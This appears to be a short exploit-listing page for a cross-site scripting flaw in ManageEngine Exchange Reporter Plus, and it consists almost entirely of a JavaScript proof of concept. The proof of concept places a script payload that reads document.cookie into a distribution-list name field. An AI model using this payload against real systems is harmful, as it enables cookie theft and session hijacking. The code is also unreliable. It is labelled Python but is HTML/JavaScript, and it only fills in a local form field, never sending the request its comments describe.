Zohocorp ManageEngine Exchange Reporter Plus < 5802
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual Proof of Concept for CVE-2026-28754
Target: ManageEngine Exchange Reporter Plus < 5802
-->
<script>
// This payload demonstrates the injection capability
// In a real scenario, this would be sent via a POST request to the Distribution Lists report endpoint
function exploit() {
// Example malicious payload
var xssPayload = '"><script>alert(document.cookie)<\/script>';
// Simulating the injection point (e.g., list name or description field)
var vulnerableInput = document.querySelector('input[name="listName"]');
if (vulnerableInput) {
vulnerableInput.value = xssPayload;
console.log("Payload injected: " + xssPayload);
}
}
// Execute
exploit();
</script>